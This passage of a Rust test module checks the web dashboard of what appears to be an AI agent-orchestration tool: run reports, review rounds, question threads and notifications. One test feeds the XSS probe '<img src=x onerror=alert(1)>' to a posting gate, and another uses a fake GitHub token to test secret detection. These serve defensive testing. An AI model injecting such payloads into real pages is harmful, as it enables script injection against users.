19493        let res_empty = f.get(&format!("/api/runs/{id_empty}/report.json")).await;
19494        assert_eq!(res_empty.status, 200, "{}", res_empty.body);
19495        let j_empty = res_empty.json();
19496        let judging_empty = j_empty["sections"]
19497            .as_array()
19498            .unwrap()
19499            .iter()
19500            .find(|s| s["kind"] == "judging")
19501            .expect("judging section exists");
19502        assert_eq!(judging_empty["rounds"].as_array().unwrap().len(), 0);
19503    }
19504
19505    #[tokio::test]
19506    async fn the_front_end_is_served_from_the_binary_with_types_a_phone_renders() {
19507        let f = Fixture::start().await;
19508
19509        let html = f.get("/").await;
19510        let css = f.get("/app.css").await;
19511        let js = f.get("/app.js").await;
19512
19513        assert_eq!((html.status, css.status, js.status), (200, 200, 200));
19514        assert!(
19515            html.headers
19516                .contains("content-type: text/html; charset=utf-8")
19517        );
19518        assert!(css.headers.contains("content-type: text/css"));
19519        assert!(js.headers.contains("content-type: text/javascript"));
19520        assert_eq!(html.body, INDEX_HTML, "compiled in, never read from disk");
19521    }
19522
19523    #[test]
19524    fn a_land_with_no_fix_rounds_says_so_instead_of_an_empty_rail() {
19525        let body = |name: &str| {
19526            let at = APP_JS
19527                .find(name)
19528                .unwrap_or_else(|| panic!("{name} missing"));
19529            &APP_JS[at..at + 2500.min(APP_JS.len() - at)]
19530        };
19531        assert!(body("function roundRail").contains("if (round <= 0) return null;"));
19532        let note = body("function landRoundNote");
19533        assert!(note.contains("No fix rounds needed (0 of ${rounds} used)."));
19534        assert!(note.contains("Land round ${round}"));
19535        let land = body("function renderLand");
19536        let note_at = land
19537            .find("landRoundNote(pr)")
19538            .expect("renderLand uses the note");
19539        assert!(
19540            note_at
19541                < land
19542                    .find("roundRail(pr)")
19543                    .expect("renderLand uses the rail")
19544        );
19545    }
19546
19547    #[test]
19548    fn the_runs_page_redesign_keeps_its_guards() {
19549        let body = |name: &str| {
19550            let at = APP_JS
19551                .find(name)
19552                .unwrap_or_else(|| panic!("{name} missing"));
19553            &APP_JS[at..at + 2500.min(APP_JS.len() - at)]
19554        };
19555        // A null child must never reach the native append (it prints "null").
19556        let land = body("function renderLand");
19557        let land = &land[..land.find("function followupList").unwrap_or(land.len())];
19558        assert!(
19559            !land.contains("box.append("),
19560            "renderLand must use append()"
19561        );
19562        assert!(land.contains("append(box, ["));
19563        // Tabs are hash routes; the run id alone decides a reload.
19564        assert!(body("function parseRoute").contains("RUN_TABS.includes(parts[2])"));
19565        assert!(
19566            body("function applyRoute")
19567                .contains("route.name !== state.route.name || route.id !== state.route.id")
19568        );
19569        // The decorative diagram is gone, the strip and its guards stay.
19570        assert!(!APP_JS.contains("adviseConvergeDiagram"));
19571        assert!(!INDEX_HTML.contains("advise-converge"));
19572        assert!(INDEX_HTML.contains("id=\"advise-strip\""));
19573        assert!(APP_JS.contains("provisional"));
19574        for id in [
19575            "run-tab-overview",
19576            "run-tab-timeline",
19577            "run-tab-report",
19578            "run-report",
19579            "runs-scope",
19580        ] {
19581            assert!(INDEX_HTML.contains(&format!("id=\"{id}\"")), "{id}");
19582        }
19583        assert!(!INDEX_HTML.contains("runs-tree"));
19584        assert!(!INDEX_HTML.contains("run-raw-panel"));
19585        // Fold still says it cannot be resumed.
19586        assert!(APP_JS.contains("resume"));
19587        // The unreadable-runs count stays on the page.
19588        assert!(APP_JS.contains("unreadable"));
19589    }
19590
19591    #[test]
19592    fn the_unreadable_banner_is_dismissible_per_count_and_the_count_stays() {
19593        assert!(APP_JS.contains("magi-stats-unreadable-dismissed"));
19594        assert!(APP_JS.contains("s.runs_unreadable > 0 && s.runs_unreadable !== dismissed"));
19595        assert!(APP_JS.contains("setText(\n      $(\"stats-unreadable-text\")"));
19596        assert!(INDEX_HTML.contains("id=\"stats-unreadable-close\""));
19597        assert!(INDEX_HTML.contains("aria-label=\"Dismiss unreadable-runs warning\""));
19598        // The subtitle still counts them whatever the banner does.
19599        assert!(APP_JS.contains("unreadable` : null"));
19600    }
19601
19602    #[test]
19603    fn blocked_run_detail_exposes_the_failed_gate_reason() {
19604        let mut state = RunState::new(
19605            "/repo".into(),
19606            "main".into(),
19607            "abc".into(),
19608            "task".into(),
19609            crate::config::Config::default(),
19610        );
19611        state.status = RunStatus::Blocked;
19612        state.gate_ran = true;
19613        state.gate.push(crate::run::CommandOutcome {
19614            command: "cargo make check".into(),
19615            code: Some(1),
19616            output_tail: "test web::tests::talks_report_independent_thinking_claims_and_queue_a_second_message ... FAILED\ntest result: FAILED. 1813 passed; 1 failed; 0 ignored;".into(),
19617            duration_ms: 0,
19618            resource_blocked: false,
19619        });
19620        let view = RunDetailView::of(
19621            state,
19622            false,
19623            crate::run::Liveness::Unknown,
19624            None,
19625            None,
19626            None,
19627        );
19628        let value = serde_json::to_value(view).unwrap();
19629        assert_eq!(
19630            value["stop_reason"],
19631            "Gate failed: cargo make check — web::tests::talks_report_independent_thinking_claims_and_queue_a_second_message (1 failed)"
19632        );
19633    }
19634
19635    #[test]
19636    fn the_run_detail_payload_says_whether_the_run_is_done() {
19637        // `landView` reads `run.done`; the detail response must carry it.
19638        for (status, done) in [
19639            (RunStatus::Superseded, true),
19640            (RunStatus::Blocked, true),
19641            (RunStatus::Landing, false),
19642        ] {
19643            let mut state = RunState::new(
19644                std::path::PathBuf::from("/repo"),
19645                "main".to_owned(),
19646                "abc".to_owned(),
19647                "x".to_owned(),
19648                crate::config::Config::default(),
19649            );
19650            state.status = status;
19651            let v = serde_json::to_value(RunDetailView::of(
19652                state,
19653                false,
19654                crate::run::Liveness::Unknown,
19655                None,
19656                None,
19657                None,
19658            ))
19659            .unwrap();
19660            assert_eq!(v["done"], done, "{status:?}");
19661        }
19662    }
19663
19664    /// The first node of a markdown block holds a `strong` somewhere.
19665    fn has_strong(nodes: &[md::Node]) -> bool {
19666        serde_json::to_string(nodes).unwrap().contains("strong")
19667    }
19668
19669    #[test]
19670    fn the_run_detail_payload_carries_markdown_for_agent_prose() {
19671        let mut state = RunState::new(
19672            std::path::PathBuf::from("/repo"),
19673            "main".to_owned(),
19674            "abc".to_owned(),
19675            "x".to_owned(),
19676            crate::config::Config::default(),
19677        );
19678        let proposal = |approach: &str| {
19679            serde_json::json!({
19680                "approach": approach, "key_tradeoff": "t", "why_not_naive": "w",
19681            })
19682        };
19683        state.advice = Some(
19684            serde_json::from_value(serde_json::json!({
19685                "records": [
19686                    {"seat": "advisor-1", "agent": "a", "duration_ms": 1,
19687                     "proposal": proposal("do **this**")},
19688                    {"seat": "advisor-2", "agent": "b", "duration_ms": 1, "error": "no"},
19689                ],
19690                "synthesis": "- one\n- **two**\n\n`code`",
19691            }))
19692            .unwrap(),
19693        );
19694        state.candidates = serde_json::from_value(serde_json::json!([
19695            {"index": 0, "label": "A", "agent": "a", "branch": "b", "worktree": "/w",
19696             "summary": "did **it**"},
19697            {"index": 1, "label": "B", "agent": "a", "branch": "b", "worktree": "/w"},
19698        ]))
19699        .unwrap();
19700        // Recorded in ascending severity, the reverse of how the page sorts
19701        // them: the arrays must follow the record, not the display.
19702        state.reviews = serde_json::from_value(serde_json::json!([{
19703            "round": 1, "head": "h",
19704            "reviews": [{
19705                "reviewer": 1, "agent": "a", "summary": "sum **mary**",
19706                "findings": [
19707                    {"severity": "nit", "title": "t1", "detail": "plain nit"},
19708                    {"severity": "blocker", "title": "t2", "detail": "bad **blocker**"},
19709                ],
19710            }],
19711            "reconsideration": [{"reviewer": 1, "agent": "a", "reason": "because **so**"}],
19712            "fix": {"agent": "a", "notes": "fixed **it**",
19713                    "rejected": [{"id": "R1-1-1", "why": "no **way**"}]},
19714        }, {"round": 2, "head": "h2", "reviews": []}]))
19715        .unwrap();
19716
19717        let v = serde_json::to_value(RunDetailView::of(
19718            state,
19719            false,
19720            crate::run::Liveness::Unknown,
19721            None,
19722            None,
19723            None,
19724        ))
19725        .unwrap();
19726
19727        let strong = |p: &str| {
19728            let n = v.pointer(p).unwrap_or_else(|| panic!("missing {p}"));
19729            assert!(n.to_string().contains("strong"), "{p}: {n}");
19730        };
19731        strong("/advice_md/synthesis");
19732        assert!(v["advice_md"]["synthesis"].to_string().contains("code"));
19733        assert!(v["advice_md"]["synthesis"].to_string().contains("list"));
19734        strong("/advice_md/approaches/0");
19735        assert_eq!(v["advice_md"]["approaches"][1], serde_json::json!([]));
19736        strong("/candidate_summaries_md/0");
19737        assert_eq!(v["candidate_summaries_md"][1], serde_json::json!([]));
19738        strong("/reviews_md/0/reviewers/0/summary");
19739        let f = &v["reviews_md"][0]["reviewers"][0]["findings"];
19740        assert!(!f[0].to_string().contains("strong"), "recorded order kept");
19741        assert!(f[1].to_string().contains("strong"));
19742        strong("/reviews_md/0/reconsideration/0");
19743        strong("/reviews_md/0/fix/notes");
19744        strong("/reviews_md/0/fix/rejected/0");
19745        assert_eq!(v["reviews_md"][1]["fix"], serde_json::Value::Null);
19746        assert_eq!(v["reviews_md"][1]["reviewers"], serde_json::json!([]));
19747        // The raw strings stay, and no schema moved.
19748        assert_eq!(v["candidates"][0]["summary"], "did **it**");
19749        assert!(has_strong(&md::to_nodes("**x**", &md::ImageBase::None)));
19750    }
19751
19752    #[test]
19753    fn a_run_without_advice_has_no_advice_md() {
19754        let state = RunState::new(
19755            std::path::PathBuf::from("/repo"),
19756            "main".to_owned(),
19757            "abc".to_owned(),
19758            "x".to_owned(),
19759            crate::config::Config::default(),
19760        );
19761        let p = run_prose_md(&state);
19762        assert!(p.advice_md.is_none());
19763        assert!(p.candidate_summaries_md.is_empty() && p.reviews_md.is_empty());
19764    }
19765
19766    #[test]
19767    fn posting_comparison_view_validates_metadata_and_supports_legacy_questions() {
19768        let store = ask::Questions::at(PathBuf::from("unused"));
19769        let gt = crate::github_text::Withheld {
19770            title: false,
19771            body: true,
19772            categories: vec!["sensitive-data".into()],
19773        };
19774        let body = "<img src=x onerror=alert(1)> & 192.0.2.1";
19775        let (detail, comparison) =
19776            crate::github_text::question_content(&gt, "fix: x", body, "r", None, None, None);
19777        let mut q = Question::new(
19778            "r".into(),
19779            "github-text".into(),
19780            "posting-gate".into(),
19781            "s".into(),
19782            detail,
19783            Vec::new(),
19784        );
19785        assert!(
19786            QuestionView::of(q.clone(), &store, None)
19787                .posting_view
19788                .is_none()
19789        );
19790        q.posting_comparison = Some(comparison);
19791        let view = QuestionView::of(q.clone(), &store, None);
19792        let field = &view.posting_view.unwrap().fields[0];
19793        assert_eq!(
19794            field
19795                .original
19796                .iter()
19797                .map(|f| f.text.as_str())
19798                .collect::<String>(),
19799            body
19800        );
19801        assert!(field.original[0].text.starts_with("<img"));
19802        let original_question: Question =
19803            serde_json::from_str(&serde_json::to_string(&q).unwrap()).unwrap();
19804        assert_eq!(original_question, q);
19805        q.posting_comparison.as_mut().unwrap().fields[0].pairs[0]
19806            .original
19807            .start = 1;
19808        assert!(
19809            QuestionView::of(q.clone(), &store, None)
19810                .posting_view
19811                .is_none()
19812        );
19813        q.posting_comparison = original_question.posting_comparison;
19814        q.detail.push_str("extra context");
19815        assert!(
19816            QuestionView::of(q.clone(), &store, None)
19817                .posting_view
19818                .is_some()
19819        );
19820        q.detail.insert(0, 'x');
19821        assert!(QuestionView::of(q, &store, None).posting_view.is_none());
19822    }
19823
19824    #[test]
19825    fn posting_comparison_whole_field_view_carries_unique_trigger_groups() {
19826        let store = ask::Questions::at(PathBuf::from("unused"));
19827        let body = "日本語の説明です。\nghp_abcdefghijklmnop\nMore context.\nghp_abcdefghijklmnop";
19828        let gt = crate::github_text::Withheld::from_check(
19829            &crate::github_text::check("fix: x", body),
19830            "fix: x",
19831            body,
19832        )
19833        .unwrap();
19834        let (detail, comparison) =
19835            crate::github_text::question_content(&gt, "fix: x", body, "r", None, None, None);
19836        let mut q = Question::new(
19837            "r".into(),
19838            "github-text".into(),
19839            "posting-gate".into(),
19840            "s".into(),
19841            detail,
19842            Vec::new(),
19843        );
19844        q.posting_comparison = Some(comparison);
19845        let value = serde_json::to_value(QuestionView::of(q.clone(), &store, None)).unwrap();
19846        let field = &value["posting_view"]["fields"][0];
19847        let group = &field["replacement_group"];
19848        let triggers = group["triggers"].as_array().unwrap();
19849        assert_eq!(triggers.len(), 2);
19850        assert_ne!(triggers[0], triggers[1]);
19851        for id in triggers {
19852            assert!(
19853                field["original"]
19854                    .as_array()
19855                    .unwrap()
19856                    .iter()
19857                    .any(|f| &f["pair"] == id)
19858            );
19859            assert!(
19860                !field["changed"]
19861                    .as_array()
19862                    .unwrap()
19863                    .iter()
19864                    .any(|f| &f["pair"] == id)
19865            );
19866        }
19867        q.posting_comparison.as_mut().unwrap().fields[0].original_triggers[0].id =
19868            group["id"].as_u64().unwrap() as usize;
19869        assert!(
19870            QuestionView::of(q, &store, None).posting_view.is_none(),
19871            "group and trigger IDs cannot collide"
19872        );
19873    }
19874
19875    #[test]
19876    fn a_question_view_carries_markdown_for_each_thread_turn() {
19877        let home = TempDir::new().unwrap();
19878        let store = ask::Questions::at(home.path().join("questions"));
19879        let mut q = Question::new(
19880            "run".to_owned(),
19881            "implement".to_owned(),
19882            "impl-A".to_owned(),
19883            "which?".to_owned(),
19884            String::new(),
19885            Vec::new(),
19886        );
19887        q.say("plain words").unwrap();
19888        q.reply("use **this**", Vec::new()).unwrap();
19889        let v = serde_json::to_value(QuestionView::of(q, &store, None)).unwrap();
19890        let bodies = &v["thread_bodies_md"];
19891        assert_eq!(bodies.as_array().unwrap().len(), 2);
19892        assert!(!bodies[0].to_string().contains("strong"));
19893        assert!(bodies[1].to_string().contains("strong"));
19894    }
19895
19896    #[test]
19897    fn a_question_view_carries_each_turns_deputy_note_as_markdown() {
19898        let home = TempDir::new().unwrap();
19899        let store = ask::Questions::at(home.path().join("questions"));
19900        let mut q = Question::new(
19901            "run".to_owned(),
19902            "conduct".to_owned(),
19903            "conduct".to_owned(),
19904            "which?".to_owned(),
19905            String::new(),
19906            Vec::new(),
19907        );
19908        q.say("plain words").unwrap();
19909        q.thread.push(ask::Turn {
19910            who: ask::Who::Agent,
19911            body: "Settled as `merge`".to_owned(),
19912            at: jiff::Timestamp::now(),
19913            note: Some("filed `abc123` _Fix [R1-1]_ (held; `magi task release abc123`)".to_owned()),
19914        });
19915        let v = serde_json::to_value(QuestionView::of(q, &store, None)).unwrap();
19916        let notes = &v["thread_notes_md"];
19917        assert_eq!(notes.as_array().unwrap().len(), 2);
19918        assert!(notes[0].is_null());
19919        let text = notes[1].to_string();
19920        assert!(text.contains("abc123") && text.contains("R1-1"), "{text}");
19921        assert!(APP_JS.contains("ask-turn-note"));
19922    }
19923
19924    #[test]
19925    fn a_finished_run_with_a_stale_open_pr_is_not_painted_as_landing() {
19926        // The land panel defers to `run.status` for merged, and labels a
19927        // recorded-open PR on any finished run (superseded, blocked, ...) as
19928        // last seen, never as live state.
19929        assert!(APP_JS.contains("function landView(run, raw) {"));
19930        assert!(
19931            APP_JS.contains(
19932                "if (run.done && raw.state === \"open\") return { ...raw, stale: true };"
19933            )
19934        );
19935        assert!(APP_JS.contains("const pr = landView(run, raw);"));
19936        assert!(APP_JS.contains("pr.stale ? \"last seen open\""));
19937        assert!(APP_JS.contains("pr.stale ? null : checksChip(pr)"));
19938        assert!(APP_JS.contains("pr.state !== \"open\" || Boolean(pr.stale)"));
19939    }
19940
19941    #[test]
19942    fn live_runs_are_never_hidden_or_folded_as_superseded() {
19943        assert!(APP_JS.contains("function isLiveAttempt(run) {\n  return !run.done;"));
19944        assert!(APP_JS.contains("if (isLiveAttempt(run)) return false;"));
19945        assert!(APP_JS.contains("(!isLiveAttempt(run) && run.superseded_by"));
19946        assert!(APP_JS.contains("kids.filter(matchesRunState).length"));
19947    }
19948
19949    #[test]
19950    fn review_rounds_label_a_distinct_verified_head() {
19951        assert!(APP_JS.contains("round.verified_head"));
19952        assert!(APP_JS.contains("verified HEAD"));
19953        assert!(APP_JS.contains("verified ${String(round.verified_head).slice(0, 7)}"));
19954    }
19955
19956    #[test]
19957    fn queue_ui_presents_blocked_dependencies_and_resolved_questions() {
19958        // A blocked task's chip and note must not fall back to a queued-like
19959        // rendering - review 1623 R2-2-1's finding, fixed for the chip table
19960        // itself by e11fc58 but never checked here.
19961        assert!(APP_JS.contains("blocked: { glyph:"));
19962        assert!(APP_JS.contains("Blocked. Waiting on another task or question to resolve."));
19963
19964        // `blocked_by` mixes task ids and question ids in the same list, and
19965        // the client can only tell them apart by checking each id against
19966        // what it actually knows - never by guessing from the id's shape.
19967        assert!(APP_JS.contains("function classifyBlockedBy(blockedBy, tasksById, questionsById)"));
19968        assert!(
19969            APP_JS.contains(
19970                "if (parts.length) noteText = `${noteText} Waiting on ${parts.join(\" and \")}.`;"
19971            ),
19972            "the note line must name what a blocked task is waiting on, not just that it is blocked"
19973        );
19974        // The classification must key off `status_str`, never off `blocked_by`
19975        // or `block_reason` merely being present - both can survive briefly
19976        // on a task a hold or a dead daemon just moved off `blocked`.
19977        assert!(APP_JS.contains("if (status === \"blocked\") {"));
19978
19979        // A question a task is blocked on gets its own node in the same
19980        // dependency graph, not just a task-shaped node with nothing known
19981        // about it.
19982        assert!(APP_JS.contains("function depNode(id, byId, questionNodes)"));
19983        assert!(APP_JS.contains("questionNodes.set(dep, questionsById.get(dep));"));
19984        assert!(
19985            APP_JS.contains("location.hash = \"#/questions\";"),
19986            "a question node must jump to the Questions screen, not pretend to be a task"
19987        );
19988
19989        // `Task::answers` - decisions already made - are shown as a record on
19990        // the card, the same disclosure style as the full instruction.
19991        assert!(APP_JS.contains("Resolved questions"));
19992        assert!(APP_JS.contains("r.answersList.append("));
19993        assert!(APP_CSS.contains(".task-answers"));
19994        {
19995            let start = APP_JS
19996                .find("function updateTalkTaskRow")
19997                .expect("updateTalkTaskRow");
19998            let body = &APP_JS[start..];
19999            let body = &body[..body.find("\n}\n").expect("updateTalkTaskRow ends")];
20000            assert!(
20001                body.contains(
20002                    "setAttr(r.link, \"href\", `#/tasks/${encodeURIComponent(task.id)}`)"
20003                ),
20004                "a chat-filed task row must link to the task page"
20005            );
20006            assert!(
20007                !body.contains("#/runs/") && !body.contains("#/queue/"),
20008                "the row must not branch to a run or the queue card"
20009            );
20010            assert!(APP_CSS.contains(".talk-task-link"));
20011        }
20012    }
20013
20014    #[test]
20015    fn a_task_notification_links_to_the_task_page() {
20016        // A task notice opens the task detail page, not the Backlog card.
20017        let start = APP_JS
20018            .find("function noticeLink(")
20019            .expect("noticeLink exists");
20020        let body = &APP_JS[start..];
20021        let body = &body[..body.find("\n}\n").expect("noticeLink ends")];
20022        assert!(
20023            body.contains("href: `#/tasks/${encodeURIComponent(link.id)}`"),
20024            "a task notice's link must target the task page"
20025        );
20026        assert!(
20027            !body.contains("#/queue/"),
20028            "regression: the task link must not go back to the Backlog route"
20029        );
20030        assert!(
20031            APP_JS.contains(
20032                "if (parts[0] === \"tasks\" && parts[1]) return { name: \"task\", id: decodeURIComponent(parts[1]) };"
20033            ),
20034            "`#/tasks/<id>` must parse into the task route"
20035        );
20036
20037        // `#/queue/<id>` (card permalinks, old bookmarks) keeps working.
20038        assert!(
20039            APP_JS.contains(
20040                "if (parts[0] === \"queue\" && parts[1]) return { name: \"queue\", id: decodeURIComponent(parts[1]) };"
20041            ),
20042            "`#/queue/<id>` must parse into a route carrying that id"
20043        );
20044
20045        // And the Backlog view has to actually land on the card once it can
20046        // - see consumeQueueFocus(), which renderQueue() calls on every pass
20047        // so a focus set before the queue has loaded is retried once it has.
20048        assert!(APP_JS.contains("state.queueFocus = route.id;"));
20049        assert!(APP_JS.contains("function consumeQueueFocus()"));
20050        assert!(APP_JS.contains("jumpToTask(id)"));
20051    }
20052
20053    #[test]
20054    fn notifications_distinguish_actionable_questions_from_informational_notices() {
20055        let start = APP_JS
20056            .find("function noticeCoveredBy(")
20057            .expect("noticeCoveredBy exists");
20058        let body = &APP_JS[start..];
20059        let body = &body[..body.find("\n}\n").expect("noticeCoveredBy ends")];
20060
20061        // Historical associations are informational, even for open questions.
20062        assert!(body.contains("Associated question ${short}"));
20063        assert!(!body.contains("el(\"a\""));
20064
20065        // A resolved question displays status rather than an actionable link
20066        assert!(body.contains("(resolved)"));
20067        assert!(body.contains("(closed)"));
20068
20069        let start = APP_JS
20070            .find("function renderNotifications()")
20071            .expect("renderNotifications exists");
20072        let body = &APP_JS[start..];
20073        let body = &body[..body.find("\n}\n").expect("renderNotifications ends")];
20074
20075        // Only a server-resolved answerable question supplies a response link.
20076        assert!(body.contains("const questionLink = n.answerable_question ? el(\"a\", {"));
20077        assert!(body.contains("href: `#/questions/${encodeURIComponent(n.answerable_question)}`"));
20078        assert!(body.contains("text: \"Open question to respond\",\n    }) : null;"));
20079        assert!(body.contains("questionLink ? subjectLink : noticeCoveredBy(n.covered_by)"));
20080    }
20081
20082    /// Chat rows are two lines at every width: the title alone, then the
20083    /// shrinkable secondary info.
20084    #[test]
20085    fn chat_rows_put_the_title_alone_on_the_first_line() {
20086        assert!(APP_CSS.contains("#talks-list .card-title {\n  grid-row: 1; grid-column: 1 / -1;"));
20087        assert!(APP_CSS.contains(
20088            "display: block; white-space: nowrap; overflow: hidden; text-overflow: ellipsis;"
20089        ));
20090        assert!(APP_CSS.contains("#talks-list .card-when { grid-row: 2;"));
20091        assert!(APP_JS.contains("class: \"badge talk-unread\""));
20092    }
20093
20094    #[test]
20095    fn run_rows_put_the_title_alone_on_the_first_line() {
20096        assert!(
20097            APP_CSS.contains(
20098                ".cards .card.run-card .card-title {\n  grid-row: 1; grid-column: 1 / -1;"
20099            )
20100        );
20101        assert!(APP_CSS.contains(".cards .card.run-card .card-when { grid-row: 2;"));
20102        assert!(APP_JS.contains("class: \"card run-card\""));
20103        assert!(APP_JS.contains("class: \"repo run-id\""));
20104    }
20105
20106    /// Wide screens get a master/detail layout built from the views a phone
20107    /// drills into. These are string assertions: they pin the contract between
20108    /// the three assets, not how it looks.
20109    #[test]
20110    fn wide_screens_show_list_and_preview_side_by_side() {
20111        // One breakpoint, spelled the same in the script and the stylesheet.
20112        assert!(APP_JS.contains("const SPLIT_QUERY = \"(min-width: 1080px)\";"));
20113        assert!(APP_JS.contains("window.matchMedia(SPLIT_QUERY)"));
20114        assert!(APP_CSS.contains("main[data-split]"));
20115        assert!(APP_CSS.contains("body[data-split]"));
20116
20117        // The route -> panes table, and a narrow screen opting out of it.
20118        assert!(APP_JS.contains("function splitPanes(route, wide) {\n  if (!wide) return null;"));
20119        assert!(
20120            APP_JS.contains(
20121                "case \"run\": return { list: route.list || \"runs\", detail: \"run\" };"
20122            )
20123        );
20124        assert!(APP_JS.contains("case \"task\": return { list: \"queue\", detail: \"task\" };"));
20125        assert!(APP_JS.contains("case \"talk\": return { list: \"talks\", detail: \"talk\" };"));
20126        assert!(INDEX_HTML.contains("id=\"split-empty\""));
20127
20128        // Selection is derived from the route, and only ever paints a row.
20129        assert!(APP_JS.contains("function markSelected() {"));
20130        assert!(APP_JS.contains("\"aria-current\", id && card.dataset[key] === id"));
20131        assert!(APP_CSS.contains(".card[aria-current=\"true\"]"));
20132        // The dense row must override the stacked card the 720px block sets up.
20133        assert!(
20134            APP_CSS.contains(
20135                "display: flex; flex-direction: row; flex-wrap: wrap; align-items: center;"
20136            )
20137        );
20138
20139        // Independent scrolling: the page stops scrolling, each pane does.
20140        assert!(APP_CSS.contains("height: 100dvh; padding-bottom: 0; overflow: hidden;"));
20141        assert!(APP_CSS.contains("grid-column: 1; grid-row: 1; min-height: 0; overflow: auto;"));
20142        assert!(APP_CSS.contains("grid-column: 2; grid-row: 1; min-height: 0; overflow: auto;"));
20143        assert!(!APP_JS.contains("if (changed) window.scrollTo({ top: 0 });"));
20144
20145        // A refresh must never navigate: the loaders still check that their
20146        // subject is the one on screen, and crossing the breakpoint only
20147        // re-reads the hash.
20148        assert!(APP_JS.contains("if (state.detail !== detail) return;"));
20149        assert!(APP_JS.contains("if (state.taskDetail !== detail) return;"));
20150        assert!(APP_JS.contains("if (state.talkDetail.id !== id) return;"));
20151        assert!(APP_JS.contains("const relayout = () => applyRoute();"));
20152
20153        // The panel sandbox carries exactly allow-popups and allow-popups-to-escape-sandbox.
20154        assert!(APP_JS.contains("sandbox: \"allow-popups allow-popups-to-escape-sandbox\""));
20155    }
20156
20157    #[test]
20158    fn panel_sandbox_carries_exactly_popups() {
20159        let needle = "sandbox: \"";
20160        let matches: Vec<_> = APP_JS.match_indices(needle).collect();
20161        assert_eq!(
20162            matches.len(),
20163            1,
20164            "APP_JS must have exactly one sandbox attribute setting: found {matches:?}"
20165        );
20166        let start = matches[0].0 + needle.len();
20167        let end = APP_JS[start..]
20168            .find('"')
20169            .expect("sandbox attribute value must be terminated by a closing quote");
20170        let val = &APP_JS[start..start + end];
20171        let tokens: std::collections::BTreeSet<&str> = val.split_whitespace().collect();
20172        let expected: std::collections::BTreeSet<&str> =
20173            ["allow-popups", "allow-popups-to-escape-sandbox"]
20174                .into_iter()
20175                .collect();
20176        assert_eq!(tokens, expected, "sandbox tokens must match exactly");
20177        assert!(
20178            !tokens.contains("allow-scripts"),
20179            "allow-scripts must never be present in sandbox"
20180        );
20181        assert!(
20182            !tokens.contains("allow-same-origin"),
20183            "allow-same-origin must never be present in sandbox"
20184        );
20185    }
20186
20187    #[test]
20188    fn consuming_a_queue_focus_survives_clearing_a_stale_backlog_search() {
20189        // consumeQueueFocus() clears an active Backlog search before it can
20190        // scroll to the target card (the sections list is hidden while a
20191        // search is showing), by recursing back into renderQueue(). The
20192        // fixer's first cut nulled state.queueFocus before that recursive
20193        // call, so the second pass saw nothing to jump to and the jump was
20194        // silently dropped whenever a notification's link was opened with a
20195        // stale search still active. state.queueFocus must only be cleared
20196        // right before jumpToTask() actually runs.
20197        assert!(
20198            APP_JS.contains(
20199                "  }\n  if (state.queueSearch.trim() !== \"\") {\n    state.queueSearch = \"\";"
20200            ),
20201            "the search-clearing branch must run before state.queueFocus is cleared, or the \
20202             recursive renderQueue() call has nothing left to jump to"
20203        );
20204        assert!(
20205            APP_JS.contains("if (jumpToTask(id)) state.queueFocus = null;"),
20206            "state.queueFocus must be cleared only once the jump has landed, so a card that \
20207             arrives later still gets it"
20208        );
20209        assert!(APP_JS.contains("state.queueFocusMissing = missing ? id : null;"));
20210        assert!(APP_JS.contains("is not in the current Backlog."));
20211        assert!(APP_JS.contains("li.card[data-task-id=\""));
20212        assert!(APP_JS.contains("setAttr(r.card, \"data-task-id\", task.id);"));
20213        assert!(APP_JS.contains("`#/queue/${encodeURIComponent(task.id)}`"));
20214        assert!(APP_CSS.contains(".card-permalink"));
20215        assert!(APP_CSS.contains(".queue-focus-status"));
20216        assert!(APP_JS.contains("const section = route.name === \"run\" ? route.list || \"runs\""));
20217    }
20218
20219    #[test]
20220    fn a_notification_card_navigates_from_anywhere_on_it_not_just_its_link_text() {
20221        // The task's own repro: only the link text inside .notice-meta was
20222        // clickable, so a tap on the message, the timestamp, or the card's
20223        // padding did nothing - on a phone that reads as "the card doesn't
20224        // work" even though the tiny link inside it did. Mark read / Dismiss
20225        // must keep working independently of this: `.closest("a, button")`
20226        // is what lets a tap that actually lands on those elements fall
20227        // through instead of being hijacked into a navigation.
20228        assert!(
20229            APP_JS.contains(
20230                "onclick: link ? (event) => { if (!event.target.closest(\"a, button\")) link.click(); } : null"
20231            ),
20232            "the notice card itself must forward a tap outside its link/buttons to the link's own click"
20233        );
20234    }
20235
20236    #[test]
20237    fn review_rounds_tell_a_stale_verification_and_a_resource_block_apart_from_a_real_result() {
20238        assert!(
20239            APP_JS.contains("round.verified_head !== round.head"),
20240            "a round that verified an earlier commit must be visibly distinct from one that \
20241             verified the head reviewers are looking at now"
20242        );
20243        assert!(
20244            APP_JS.contains("round.verified_at"),
20245            "when a check ran must be on the wire, not just which commit"
20246        );
20247        assert!(
20248            APP_JS.contains("resource_blocked"),
20249            "a command magi never got to run (shared build cache contention) must not render \
20250             the same as a command that ran and failed"
20251        );
20252    }
20253
20254    #[test]
20255    fn a_stats_kpi_tile_navigates_to_the_runs_view_pre_filtered_to_its_own_status() {
20256        // Every KPI tile but Total runs and Completion names an exact
20257        // RunStatus and hands it to openRunsFiltered(), which is what wires
20258        // the click into state.runsFilter.status (matchesFilter's own
20259        // status check) rather than the coarser runsStateFilter chips. Each
20260        // status literal here must be one of the strings runSection() (and
20261        // isStale()) actually compare a run's own `status` field against -
20262        // a status this dashboard invented would filter to nothing.
20263        assert!(
20264            APP_JS.contains("onClick: () => openRunsFiltered(status)"),
20265            "every KPI tile built through statusTile() must route its click through \
20266             openRunsFiltered, the single place that sets the Runs filter"
20267        );
20268        for (label, status) in [
20269            ("Merged", "merged"),
20270            ("Ready", "ready"),
20271            ("Blocked", "blocked"),
20272            ("Stalled", "stalled"),
20273        ] {
20274            let call = format!("statusTile(\"{label}\", t.{status}, ");
20275            assert!(
20276                APP_JS.contains(&call),
20277                "expected the {label} KPI tile built via {call}..."
20278            );
20279            assert!(
20280                APP_JS.contains(&format!("status === \"{status}\"")),
20281                "\"{status}\" must be a real RunStatus literal runSection()/isStale() already \
20282                 compare a run against, not one invented only for the stats tile"
20283            );
20284        }
20285        assert!(
20286            APP_JS.contains("function openRunsFiltered(status)"),
20287            "openRunsFiltered must exist as the single place a stats tile sets the Runs filter"
20288        );
20289        assert!(
20290            APP_JS.contains(
20291                "if (status && !statusInBucket(String(run.status || \"\"), status)) return false;"
20292            ),
20293            "matchesFilter must gate on the statuses of the bucket a KPI tile named"
20294        );
20295        // applyRoute() only flips which view is visible for a plain `#runs`
20296        // hash - it does not itself redraw the list (see applyRoute's own
20297        // handling below) - so openRunsFiltered must call renderRuns()
20298        // itself, and must call applyRoute() too so the view flips even
20299        // when the hash string doesn't change (the operator may already be
20300        // on the Runs view when a tile is tapped, which fires no
20301        // hashchange event at all).
